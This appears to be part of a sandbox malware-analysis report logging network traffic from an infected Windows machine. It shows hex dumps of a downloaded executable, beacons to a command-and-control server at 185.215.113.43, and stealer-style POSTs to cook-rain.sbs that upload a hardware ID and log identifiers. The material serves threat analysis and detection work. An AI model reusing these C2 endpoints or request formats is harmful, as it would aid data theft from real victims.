00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +@6+`Ui` @ @.rsrc`2@.idata 8@fbblxjme):@xjruxrdz (@.taggant@".*@
Nov 18, 2024 19:05:09.073410034 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073482990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073518038 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073551893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073605061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073641062 CET	648	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073673964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:05:09.073709011 CET	1160	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|om.^kK[XcP {J'}U_zaf@f
Nov 18, 2024 19:05:09.073744059 CET	1236	IN	Data Raw: 51 3f b8 70 9a 0e 8b ad c0 28 a3 01 96 8e 6b f9 27 0a 5f eb 57 60 58 25 3e 10 a7 a1 ce f4 de cb 55 aa 60 ef ca 33 59 71 d2 68 59 20 18 86 3b c4 e9 08 75 d9 e4 46 73 63 aa 11 d9 f7 28 77 cb 23 9a 73 61 0d 16 87 d3 86 12 36 24 af ad f2 63 9f d9 1b Data Ascii: Q?p(k'_W`X%>U`3YqhY ;uFsc(w#sa6$csj`YJmaVYy`_wg;[_Me/CY"v@r^A:lx&}yfqe=< %Z*]x^"]uYYOJ]y^bsLLRk/
Nov 18, 2024 19:05:09.078825951 CET	1236	IN	Data Raw: a9 3b c9 a3 40 7f 73 85 12 32 60 6e ab 4c 54 51 a5 bf 95 2d 0c b2 d5 86 cc 29 a0 22 d3 47 5d 62 47 41 68 68 d8 2c 65 ee a3 ea 70 3e 8b 7f ce 0b 69 f0 66 32 76 a5 8a a5 cd 9f 7c 4b 73 7b 48 cf fe 63 c8 62 71 99 c5 17 67 80 cb d8 c8 e1 c5 63 79 52 Data Ascii: ;@s2`nLTQ-)"G]bGAhh,ep>if2v\|Ks{HcbqgcyR1gp{<aIvKu_f,<PAg\|g"wL`9cgLujb1i^ysZgA\|Tsc^a[vcXak3}rG>aD($4hivjRYD

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50056	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:09.117048979 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 19:05:10.035695076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	50066	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:05:11.547889948 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 19:05:12.472138882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:05:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49982	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:28 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 18:04:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 18:04:28 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5ijthh2ct3ckff95i2escqke8h; expires=Fri, 14-Mar-2025 11:51:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vTgOqwEJ55VDGOUEEqMfnexBrnBCnhpYsou%2BmHpoRlLFZSCBwKe3AndSheetqw2qyFiugxkT3rgl69bx9PAOyZAVY1wNuMFZP1TUuPxJDgP1%2BDRmo0gYw%2Bm1GZ0kqeWT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2143e416732-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17760&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=160079&cwnd=32&unsent_bytes=0&cid=8ef5b4bb6354d157&ts=549&x=0"
2024-11-18 18:04:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 18:04:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49984	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:29 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 18:04:29 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 18:04:30 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=svb2fi3mtogk5p5emsuehrh221; expires=Fri, 14-Mar-2025 11:51:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y3y%2FYuNRL1OEq6RR5eqew4dWOzyAcOuQtM4xzw7XNMrZZdHQ5lE4Z04xG%2BrBTrvzQqh8c56Gh3iZrfreZyOteTEKae0888paAP1C5Il2hkr52ks24HDLO9uzMQb4%2Fozb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e21e3ca32d01-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24433&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=118344&cwnd=32&unsent_bytes=0&cid=0d2158be356876c7&ts=746&x=0"
2024-11-18 18:04:30 UTC	367	IN	Data Raw: 34 34 36 63 0d 0a 42 78 2b 6e 55 65 43 59 55 4f 32 6a 4d 68 5a 64 73 66 4b 5a 62 4a 32 4c 35 48 61 67 59 6e 36 52 71 67 6d 4f 49 37 34 78 70 63 31 38 50 64 46 7a 32 71 78 38 7a 39 42 58 4e 47 66 46 67 4f 77 4a 73 61 6d 46 45 6f 4a 59 47 50 44 47 65 75 73 50 6e 45 66 49 37 7a 31 35 78 6a 32 54 2f 58 7a 50 78 6b 6f 30 5a 2b 71 4a 75 77 6e 7a 71 64 35 55 78 51 67 63 38 4d 5a 72 37 30 6a 52 51 63 6d 75 62 33 50 41 4f 59 58 37 4e 49 7a 50 58 33 4d 34 31 4a 50 7a 41 76 54 6d 6a 42 75 43 54 6c 7a 30 30 43 75 30 41 66 4e 55 30 61 78 4b 66 74 51 36 77 75 56 38 6c 6f 46 58 65 48 2b 4c 30 50 67 4a 2f 2b 65 43 45 73 73 4b 46 76 6e 4f 61 75 70 4a 7a 6c 6a 44 70 57 39 39 77 7a 69 50 38 69 43 42 78 56 68 34 50 74 36 54 75 30 43 2f 37 70 35 55 6d 6b 42 50 77 63 74 36 2f Data Ascii: 446cBx+nUeCYUO2jMhZdsfKZbJ2L5HagYn6RqgmOI74xpc18PdFz2qx8z9BXNGfFgOwJsamFEoJYGPDGeusPnEfI7z15xj2T/XzPxko0Z+qJuwnzqd5UxQgc8MZr70jRQcmub3PAOYX7NIzPX3M41JPzAvTmjBuCTlz00Cu0AfNU0axKftQ6wuV8loFXeH+L0PgJ/+eCEssKFvnOaupJzljDpW99wziP8iCBxVh4Pt6Tu0C/7p5UmkBPwct6/
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 67 50 79 36 59 73 65 7a 51 4d 63 39 4d 4a 68 34 30 76 59 58 73 71 70 5a 58 32 46 66 63 4c 39 4b 73 2b 5a 45 46 63 36 77 35 66 33 47 4c 33 54 78 67 75 4d 47 56 7a 30 78 43 75 30 41 64 52 57 78 4b 78 75 63 73 59 37 69 65 67 79 6e 63 64 64 63 53 33 56 6c 66 55 45 2f 50 75 4d 47 73 51 44 46 66 6a 42 62 75 74 46 6e 42 32 48 71 48 30 39 6e 58 4f 6a 39 7a 6d 44 79 30 64 30 66 38 7a 65 34 6b 37 34 35 63 5a 4d 67 67 51 64 39 38 6c 76 34 6b 2f 59 58 38 47 68 61 48 4c 44 4f 59 4c 39 4f 49 66 4a 55 58 6b 30 33 4a 44 2b 41 2f 76 76 69 68 58 48 51 46 4b 7a 7a 33 4f 73 47 5a 78 39 77 4b 78 33 50 2f 41 77 6a 50 51 31 6d 59 46 50 4f 69 61 54 6c 2f 64 4f 70 36 6d 49 45 63 30 53 48 65 48 4e 5a 66 35 4e 32 56 58 4b 72 47 74 39 77 44 53 50 39 44 53 49 77 6c 68 77 50 74 32 63 Data Ascii: gPy6YsezQMc9MJh40vYXsqpZX2FfcL9Ks+ZEFc6w5f3GL3TxguMGVz0xCu0AdRWxKxucsY7iegyncddcS3VlfUE/PuMGsQDFfjBbutFnB2HqH09nXOj9zmDy0d0f8ze4k745cZMggQd98lv4k/YX8GhaHLDOYL9OIfJUXk03JD+A/vvihXHQFKzz3OsGZx9wKx3P/AwjPQ1mYFPOiaTl/dOp6mIEc0SHeHNZf5N2VXKrGt9wDSP9DSIwlhwPt2c
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 6d 4b 48 63 49 4c 46 76 66 49 62 4f 46 45 33 31 54 45 6f 6d 4a 33 79 7a 53 47 39 6a 75 43 78 31 42 7a 4f 39 61 43 2f 67 66 7a 35 63 5a 61 67 67 63 45 73 35 41 72 77 30 62 4b 55 4f 69 73 64 48 53 46 4c 4d 7a 6a 63 6f 6a 4e 45 43 78 2f 31 4a 58 7a 42 66 6e 68 68 67 62 48 44 68 66 79 77 6d 33 74 54 4e 42 56 78 36 35 6c 65 38 6b 7a 68 66 30 67 6e 63 52 57 5a 6a 57 54 33 72 73 4a 35 36 6e 65 56 50 51 51 43 2b 4c 65 4b 64 6c 43 30 6c 33 41 75 53 56 69 69 79 72 43 2f 54 37 50 6d 52 42 2f 50 39 2b 58 38 77 6a 37 34 59 6b 62 79 78 49 64 2f 38 5a 35 36 30 48 56 58 63 69 6a 62 48 44 43 50 6f 6e 77 50 34 76 47 55 54 52 78 6b 35 66 6a 54 71 65 70 73 41 54 50 44 44 4c 34 78 47 4b 73 58 70 4a 4b 68 36 68 70 50 5a 31 7a 68 76 59 36 68 63 35 5a 66 6a 58 63 6d 66 73 47 39 Data Ascii: mKHcILFvfIbOFE31TEomJ3yzSG9juCx1BzO9aC/gfz5cZaggcEs5Arw0bKUOisdHSFLMzjcojNECx/1JXzBfnhhgbHDhfywm3tTNBVx65le8kzhf0gncRWZjWT3rsJ56neVPQQC+LeKdlC0l3AuSViiyrC/T7PmRB/P9+X8wj74YkbyxId/8Z560HVXcijbHDCPonwP4vGUTRxk5fjTqepsATPDDL4xGKsXpJKh6hpPZ1zhvY6hc5ZfjXcmfsG9
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 46 47 46 79 72 69 45 54 4c 64 4a 35 79 2f 65 39 36 4d 39 78 7a 68 66 5a 79 31 34 46 63 64 7a 50 62 6e 2f 30 48 38 2b 4f 50 48 38 34 4c 47 50 2f 42 62 75 70 41 32 56 62 47 71 32 6c 33 77 7a 43 42 39 54 32 41 79 52 41 36 66 39 53 49 75 31 61 2f 7a 4a 45 66 7a 41 5a 63 37 49 5a 79 72 45 62 51 45 35 2f 76 61 58 54 44 4e 59 66 32 4d 34 6e 4a 56 58 77 37 30 70 62 39 44 66 44 74 67 78 58 4e 42 42 44 39 77 6d 72 74 54 64 64 63 7a 4b 6f 6c 4d 34 55 30 6d 72 70 71 7a 2f 42 54 59 69 6a 44 6e 4c 73 52 73 66 44 47 45 38 35 41 52 4c 50 4a 65 65 5a 4c 30 6c 62 49 71 6d 5a 79 77 6a 36 45 39 6a 69 47 79 56 5a 37 4e 73 47 54 39 77 44 34 35 34 6f 61 7a 77 6f 66 2f 6f 67 6c 72 45 62 45 45 35 2f 76 53 58 72 49 48 59 6e 32 4e 63 2f 65 48 6d 31 2f 31 4a 79 37 56 72 2f 6c 6a 42 Data Ascii: FGFyriETLdJ5y/e96M9xzhfZy14FcdzPbn/0H8+OPH84LGP/BbupA2VbGq2l3wzCB9T2AyRA6f9SIu1a/zJEfzAZc7IZyrEbQE5/vaXTDNYf2M4nJVXw70pb9DfDtgxXNBBD9wmrtTddczKolM4U0mrpqz/BTYijDnLsRsfDGE85ARLPJeeZL0lbIqmZywj6E9jiGyVZ7NsGT9wD454oazwof/oglrEbEE5/vSXrIHYn2Nc/eHm1/1Jy7Vr/ljB
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 38 49 70 61 2b 6b 4c 4b 57 4d 71 6a 4a 57 4b 4c 4b 73 4c 39 50 73 2b 5a 45 48 49 77 32 70 50 30 44 2f 62 6c 69 78 48 4c 42 52 33 31 7a 47 48 6d 51 64 70 56 78 71 70 76 66 73 51 35 69 2f 30 36 69 4d 4a 43 4e 48 47 54 6c 2b 4e 4f 70 36 6d 76 45 39 41 4f 44 4c 50 58 4a 66 55 42 32 31 2b 48 39 79 56 35 7a 7a 79 47 2f 54 36 4a 78 46 5a 35 50 74 79 52 2b 77 48 37 34 6f 38 53 77 77 30 5a 2f 73 78 35 35 6b 72 54 58 38 36 6a 61 44 32 4c 63 34 58 69 63 74 65 42 59 58 6b 78 33 5a 66 74 54 75 43 6e 6e 31 54 46 44 46 79 72 69 47 72 67 54 74 39 63 78 4b 78 6b 64 39 63 68 6a 76 4d 36 69 73 31 62 65 6a 6e 42 6c 76 51 48 2f 4f 71 50 45 38 6f 4d 46 76 44 50 4b 36 49 42 32 30 75 48 39 79 56 65 30 69 4f 50 75 69 33 42 32 42 42 7a 4d 35 50 49 75 77 62 79 34 59 77 51 78 51 30 Data Ascii: 8Ipa+kLKWMqjJWKLKsL9Ps+ZEHIw2pP0D/blixHLBR31zGHmQdpVxqpvfsQ5i/06iMJCNHGTl+NOp6mvE9AODLPXJfUB21+H9yV5zzyG/T6JxFZ5PtyR+wH74o8Sww0Z/sx55krTX86jaD2Lc4XicteBYXkx3ZftTuCnn1TFDFyriGrgTt9cxKxkd9chjvM6is1bejnBlvQH/OqPE8oMFvDPK6IB20uH9yVe0iOPui3B2BBzM5PIuwby4YwQxQ0
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 4f 78 46 32 46 54 43 72 47 6c 32 77 6a 43 4e 2f 6a 75 42 79 46 38 30 63 5a 4f 58 34 30 36 6e 71 61 63 50 77 51 77 52 73 39 63 6c 39 51 48 62 58 34 66 33 4a 58 48 4c 4e 6f 4c 77 4e 49 76 45 56 6e 34 36 30 35 76 34 41 66 76 76 67 68 76 43 43 78 58 79 7a 6d 37 6d 53 74 70 65 78 4b 6c 6a 50 59 74 7a 68 65 4a 79 31 34 46 77 62 7a 4c 66 6c 37 73 52 73 66 44 47 45 38 35 41 52 4c 50 44 5a 2b 68 47 33 46 37 45 70 32 42 35 7a 7a 61 43 38 69 43 48 77 56 64 6d 4c 64 4f 5a 2f 67 4c 38 36 59 49 53 79 77 59 66 39 34 67 6c 72 45 62 45 45 35 2f 76 53 48 48 43 47 6f 58 68 63 70 43 50 53 54 51 34 33 39 43 6a 54 76 37 69 6a 42 76 50 41 78 72 77 77 32 37 6d 51 4e 74 62 79 72 31 6d 63 73 6f 33 67 76 55 30 69 63 42 66 63 6a 6a 61 6b 66 4d 4a 76 36 66 47 45 39 70 41 52 4c 50 6d Data Ascii: OxF2FTCrGl2wjCN/juByF80cZOX406nqacPwQwRs9cl9QHbX4f3JXHLNoLwNIvEVn4605v4AfvvghvCCxXyzm7mStpexKljPYtzheJy14FwbzLfl7sRsfDGE85ARLPDZ+hG3F7Ep2B5zzaC8iCHwVdmLdOZ/gL86YISywYf94glrEbEE5/vSHHCGoXhcpCPSTQ439CjTv7ijBvPAxrww27mQNtbyr1mcso3gvU0icBfcjjakfMJv6fGE9pARLPm
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 77 64 68 36 41 6c 4a 66 78 7a 69 2f 30 70 6e 74 64 64 5a 44 69 54 72 37 56 4f 35 36 6e 65 56 50 63 44 45 76 33 50 66 66 30 4d 2b 30 58 4e 71 48 56 36 30 6a 7a 43 74 48 4b 4a 67 51 67 6e 63 5a 4f 55 36 6b 36 6e 75 64 52 50 6c 31 4e 4c 6f 35 70 30 6f 6c 69 63 52 59 66 33 4e 7a 4f 46 49 63 4b 69 63 73 6a 43 51 6d 59 35 30 49 62 34 53 63 48 58 6f 51 37 50 42 67 76 69 39 6c 58 72 57 39 46 56 30 4c 34 70 61 4d 59 39 6a 50 30 6b 7a 34 38 51 65 33 2b 4c 71 62 74 47 76 39 62 49 56 4e 70 41 52 4c 50 39 61 4f 4a 50 32 30 58 57 34 6b 4a 6e 79 44 57 56 36 33 4c 42 67 56 59 30 5a 34 50 65 75 77 72 75 71 64 35 45 6b 46 74 4a 6f 4a 38 37 76 6c 36 53 53 6f 65 35 4a 53 57 58 66 63 4c 6f 63 74 65 42 46 33 63 74 77 5a 62 34 47 50 79 75 75 43 72 73 42 78 72 32 7a 33 75 75 62 Data Ascii: wdh6AlJfxzi/0pntddZDiTr7VO56neVPcDEv3Pff0M+0XNqHV60jzCtHKJgQgncZOU6k6nudRPl1NLo5p0olicRYf3NzOFIcKicsjCQmY50Ib4ScHXoQ7PBgvi9lXrW9FV0L4paMY9jP0kz48Qe3+LqbtGv9bIVNpARLP9aOJP20XW4kJnyDWV63LBgVY0Z4Peuwruqd5EkFtJoJ87vl6SSoe5JSWXfcLocteBF3ctwZb4GPyuuCrsBxr2z3uub
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 49 61 33 72 45 4a 5a 4c 74 50 63 2b 50 45 48 4a 2f 69 38 4b 31 54 76 76 34 78 6b 79 53 55 6b 65 6d 6d 7a 79 38 45 38 4d 64 33 75 39 7a 50 5a 31 68 7a 4c 6f 67 7a 35 6b 51 4d 7a 7a 42 67 76 30 4e 36 65 72 42 4b 76 77 6e 45 76 54 4a 66 66 78 57 30 78 7a 70 6d 55 52 44 2b 79 61 42 39 44 79 49 31 30 45 30 63 5a 4f 66 75 31 62 47 71 63 35 55 2f 55 35 63 36 34 67 7a 72 48 54 66 58 63 6d 6f 63 32 79 49 46 49 7a 39 4d 35 6e 52 52 33 74 77 2f 61 62 61 54 72 47 70 67 46 53 61 55 6c 4b 7a 7a 48 71 73 47 59 77 42 6e 50 6f 32 4b 70 56 68 6e 62 51 72 7a 39 63 51 4c 47 32 64 30 4f 6c 4f 70 36 6e 42 46 39 41 53 47 76 44 65 61 4b 74 2f 34 6e 54 4a 71 47 52 72 31 54 36 4f 32 7a 47 65 79 32 35 4b 4b 74 43 65 39 51 6e 70 2b 4d 5a 61 67 67 39 63 71 2f 45 72 70 41 48 6a 48 59 Data Ascii: Ia3rEJZLtPc+PEHJ/i8K1Tvv4xkySUkemmzy8E8Md3u9zPZ1hzLogz5kQMzzBgv0N6erBKvwnEvTJffxW0xzpmURD+yaB9DyI10E0cZOfu1bGqc5U/U5c64gzrHTfXcmoc2yIFIz9M5nRR3tw/abaTrGpgFSaUlKzzHqsGYwBnPo2KpVhnbQrz9cQLG2d0OlOp6nBF9ASGvDeaKt/4nTJqGRr1T6O2zGey25KKtCe9Qnp+MZagg9cq/ErpAHjHY
2024-11-18 18:04:30 UTC	1369	IN	Data Raw: 77 69 4f 42 75 42 36 49 7a 46 78 4b 41 65 53 42 2f 42 36 39 7a 34 55 43 77 55 42 53 73 39 41 72 74 41 48 78 51 63 43 2f 5a 6a 2f 70 4e 49 2f 32 63 70 43 50 53 54 51 70 6b 38 69 6f 51 4c 2f 37 78 6b 79 43 52 78 2f 68 32 6d 33 76 56 39 38 55 2b 5a 46 49 62 38 49 6a 67 62 67 44 67 73 56 47 59 54 7a 44 6c 38 55 77 30 76 75 42 42 4d 46 43 4f 63 6d 4b 57 76 70 43 33 46 33 41 37 79 73 39 33 58 50 61 75 68 2b 64 78 6b 42 33 66 66 61 71 75 54 2f 70 36 6f 59 61 78 55 41 44 76 64 45 72 2b 67 47 45 41 49 6e 76 64 7a 32 64 63 38 58 30 50 34 37 43 58 6e 63 74 77 5a 62 34 47 50 79 75 75 43 72 74 43 78 33 6a 78 58 72 68 52 63 70 74 2b 59 68 6a 65 4d 49 4e 76 4d 30 6a 69 4e 45 53 55 6a 7a 46 6b 37 74 41 76 2f 48 47 54 49 49 6e 47 76 62 50 4b 36 49 42 32 42 4f 66 37 30 70 Data Ascii: wiOBuB6IzFxKAeSB/B69z4UCwUBSs9ArtAHxQcC/Zj/pNI/2cpCPSTQpk8ioQL/7xkyCRx/h2m3vV98U+ZFIb8IjgbgDgsVGYTzDl8Uw0vuBBMFCOcmKWvpC3F3A7ys93XPauh+dxkB3ffaquT/p6oYaxUADvdEr+gGEAInvdz2dc8X0P47CXnctwZb4GPyuuCrtCx3jxXrhRcpt+YhjeMINvM0jiNESUjzFk7tAv/HGTIInGvbPK6IB2BOf70p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49985	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:31 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MG6LRBA1SZ5WUFYY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: cook-rain.sbs
2024-11-18 18:04:31 UTC	12829	OUT	Data Raw: 2d 2d 4d 47 36 4c 52 42 41 31 53 5a 35 57 55 46 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4d 47 36 4c 52 42 41 31 53 5a 35 57 55 46 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 47 36 4c 52 42 41 31 53 5a 35 57 55 46 59 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --MG6LRBA1SZ5WUFYYContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--MG6LRBA1SZ5WUFYYContent-Disposition: form-data; name="pid"2--MG6LRBA1SZ5WUFYYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
